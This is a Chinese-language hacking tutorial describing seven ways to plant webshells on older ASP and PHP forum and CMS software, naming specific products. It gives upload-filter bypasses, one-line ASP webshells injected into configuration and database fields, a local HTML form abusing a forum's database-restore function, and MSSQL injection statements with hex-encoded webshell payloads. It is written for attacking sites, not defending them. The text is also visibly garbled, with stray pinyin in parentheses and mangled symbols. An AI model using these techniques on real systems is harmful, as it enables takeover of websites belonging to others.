一、直接上傳獲得 webshell
這種對(duì) php 和 jsp 的一些程序比較常見，MolyX BOARD 就是其中一例，直接在心情圖標(biāo)管理上傳.php 類型，
雖然沒(méi)有提示，其實(shí)已經(jīng)成功了，上傳的文 件 url 應(yīng)該是 http://forums/images/smiles/下，前一陣子
的聯(lián)眾游戲站和網(wǎng)易的 jsp 系統(tǒng)漏洞就可以直接上傳 jsp 文件。文件名是原來(lái)的文件名，bo-blog 后臺(tái)可
以可以直接上傳.php 文件，上傳的文件路徑有提示。以及一年前十分流行的 upfile.asp 漏洞(動(dòng)網(wǎng) 5.0 和
6.0、早期的許多整站系統(tǒng))，因過(guò)濾上傳文件不嚴(yán)，導(dǎo)致用戶可以直接上傳 webshell 到網(wǎng)站任意可寫目錄
中，從而拿到網(wǎng)站的管理員控制權(quán)限。
二、添加修改上傳類型
現(xiàn)在很多的腳本程序上傳模塊不是只允許上傳合法文件類型，而大多數(shù)的系統(tǒng)是允許添加上傳類型，bbsxp
后臺(tái)可以添加 asa|asP 類型，ewebeditor 的后臺(tái)也可添加 asa 類型,通過(guò)修改后我們可以直接上傳 asa 后
綴的 webshell 了,還有一種情況是過(guò)濾了.asp，可以添加.aspasp 的文件類型來(lái)上傳獲得 webshell。php
系統(tǒng)的后臺(tái)，我們可以添加.php.g1f 的上傳類型，這是 php 的一個(gè)特性,最后的哪個(gè)只要不是已知的文件
類型即可，php 會(huì)將 php.g1f 作為.php 來(lái)正常運(yùn)行,從而也可成功拿到 shell。LeadBbs3.14 后臺(tái)獲得
webshell 方法是：在上傳類型中增加 asp ，注意，asp 后面是有個(gè)空格的，然后在前臺(tái)上傳 ASP 馬，當(dāng)然
也要在后面加個(gè)空格！
三、利用后臺(tái)管理功能寫入 webshell
上傳漏洞基本上補(bǔ)的也差不多了,所以我們進(jìn)入后臺(tái)后還可以通過(guò)修改相關(guān)文件來(lái)寫入 webshell。比較的
典型的有 dvbbs6.0，還有 leadbbs2.88 等，直接在后臺(tái)修改配置文件，寫入后綴是 asp 的文件。而
LeadBbs3.14 后臺(tái)獲得 webshell 另一方法是：添加一個(gè)新的友情鏈接，在網(wǎng)站名稱處寫上冰狐最小馬即可,
最小馬前后要隨便輸入一些字符，http:\\網(wǎng)站\inc\IncHtm\BoardLink.asp 就是我們想要的 shell。
四、利用后臺(tái)管理向配置文件寫 webshell
利用"""":""//"等符號(hào)構(gòu)造最小馬寫入程序的配置文件，joekoe 論壇，某某同學(xué)錄，沸騰展望新聞系統(tǒng)，
COCOON Counter 統(tǒng)計(jì)程序等等，還有很多 php 程序都可以，COCOON Counter 統(tǒng)計(jì)程序舉例，在管理郵箱處
添上 cnhacker at 263 dot net":eval request(chr (35))//, 在配制文件中就是 webmail="cnhacker at 263
dot net\":eval request(chr(35))//"，還有一種方法就是寫上
cnhacker at 263 dot net"%><%eval request(chr(35))%><%'，這樣就會(huì)形成前后對(duì)應(yīng)，最小馬也就運(yùn)行
了。<%eval request(chr(35))%>可以用 lake2 的 eval 發(fā)送端以及最新的 2006 客戶端來(lái)連，需要說(shuō)明的
是數(shù)據(jù)庫(kù)插馬時(shí)候要選前者。再如動(dòng)易 2005，到文章中心管理-頂部菜單設(shè)置-菜單其它特效，插入一句話
馬"%><%execute request("l")%><%'，保存頂部欄目菜單參數(shù)設(shè)置成功后，我們就得到馬地址 http://網(wǎng) 站/admin/rootclass_menu_config.asp。
五、利用后臺(tái)數(shù)據(jù)庫(kù)備份及恢復(fù)獲得 webshell
主要是利用后臺(tái)對(duì) access 數(shù)據(jù)庫(kù)的“備份數(shù)據(jù)庫(kù)”或“恢復(fù)數(shù)據(jù)庫(kù)”功能，“備份的數(shù)據(jù)庫(kù)路徑”等變量
沒(méi)有過(guò)濾導(dǎo)致可以把任意文件后綴改 為 asp，從而得到 webshell，msssql 版的程序就直接應(yīng)用了 access
版的代碼，導(dǎo)致 sql 版照樣可以利用。還可以備份網(wǎng)站 asp 文件為其他后綴 如.txt 文件，從而可以查看
并獲得網(wǎng)頁(yè)源代碼，并獲得更多的程序信息增加獲得 webshell 的機(jī)會(huì)。在實(shí)際運(yùn)用中經(jīng)常會(huì)碰到?jīng)]有上傳
功能的時(shí) 候，但是有 asp 系統(tǒng)在運(yùn)行，利用此方法來(lái)查看源代碼來(lái)獲得其數(shù)據(jù)庫(kù)的位置，為數(shù)據(jù)庫(kù)插馬來(lái)
創(chuàng)造機(jī)會(huì)，動(dòng)網(wǎng)論壇就有一個(gè) ip 地址的數(shù)據(jù)庫(kù)，在后臺(tái)的 ip 管理中可以插入最小馬然后備份成.asp 文件
即可。在談?wù)勍黄粕蟼鳈z測(cè)的方法，很多 asp 程序在即使改了后綴名后也會(huì)提示文件非法，通過(guò)在.asp 文
件頭加上 gif89a 修改后綴為 gif 來(lái)騙過(guò) asp 程序檢測(cè)達(dá)到上傳的目的，還有一種就是用記事本打開圖片文
件，隨便粘貼一部分復(fù)制到 asp 木馬文件頭，修改 gif 后綴后上傳也可以突破檢測(cè)，然后備份為.asp 文件，
成功得到 webshell。
六、利用數(shù)據(jù)庫(kù)壓縮功能
可以將數(shù)據(jù)的防下載失效從而使插入數(shù)據(jù)庫(kù)的最小馬成功運(yùn)行，比較典型的就是 loveyuki 的 L-BLOG，在
友情添加的 url 出寫上<%eval request (chr(35))%>, 提交后，在數(shù)據(jù)庫(kù)操作中壓縮數(shù)據(jù)庫(kù)，可以成功壓
縮出.asp 文件，用海洋的最小馬的 eval 客戶端連就得到一個(gè) webshell。
七、asp+mssql 系統(tǒng)
這里需要提一點(diǎn)動(dòng)網(wǎng) mssql 版，但是可以直接本地提交來(lái)備份的。首先在發(fā)帖那上傳一個(gè)寫有 asp 代碼的
假圖片，然后記住其上傳路徑。寫一個(gè)本地提交的表單，代碼如下：
<form action=http://網(wǎng)站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"><p>已上傳文件的位置：<input name="Dbpath" type="text" size="80"></p>
<p>要復(fù)制到的位置：<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存為.htm 本地執(zhí)行。把假圖片上傳路徑填在“已上傳文件的位置”那里，想要備份的 WebShell 的相對(duì)
路徑填寫在“要復(fù)制到的位置”那里，提交就得到我們可愛的 WebShell 了，恢復(fù)代碼和此類似，修改相關(guān)
地方就可以了。沒(méi)有遇到過(guò)后臺(tái)執(zhí)行 mssql 命令比較強(qiáng)大的 asp 程序后臺(tái)，動(dòng)網(wǎng)的數(shù)據(jù)庫(kù)還原和備份是個(gè)
擺設(shè)，不能執(zhí)行 sql 命令備份 webshell，只能執(zhí)行一些簡(jiǎn)單的查詢命令。可以利用 mssql 注入差異備份
webshell，一般后臺(tái)是顯示了絕對(duì)路徑，只要有了注入點(diǎn)基本上就可以差異備份成功。下面是差異備份的
主要語(yǔ)句代碼，利用動(dòng)網(wǎng) 7.0 的注入漏洞可以用差異備份一個(gè) webshell，可以用利用上面提到的方法，將
conn.asp 文件備份成.txt 文件而獲得庫(kù)名。
差異備份的主要代碼：
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup
database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
這 段 代 碼 中 ， 0x626273 是 要 備 份 的 庫(kù) 名 bbs 的 十 六 進(jìn) 制 ， 可 以 是 其 他 名 字 比 如 bbs.bak;
0x3C2565786563757465207265717565737428226C2229253E 是<%execute request("l")%>的十六進(jìn)制，是 lp
最小馬；0x643A5C7765625C312E617370 是 d:\web\1.asp 的十六進(jìn)制,也就是你要備份的 webshell 路徑。
當(dāng)然也可以用比較常見備份方式來(lái)獲得 webshell，唯一的不足就是備份后的文件過(guò)大，如果備份數(shù)據(jù)庫(kù)中
有防下載的的數(shù)據(jù)表，或者有錯(cuò)誤的 asp 代碼，備份出來(lái)的 webshell 就不會(huì)成功運(yùn)行，利用差異備份是成
功率比較高的方法，并且極大的減少備份文件的大小。
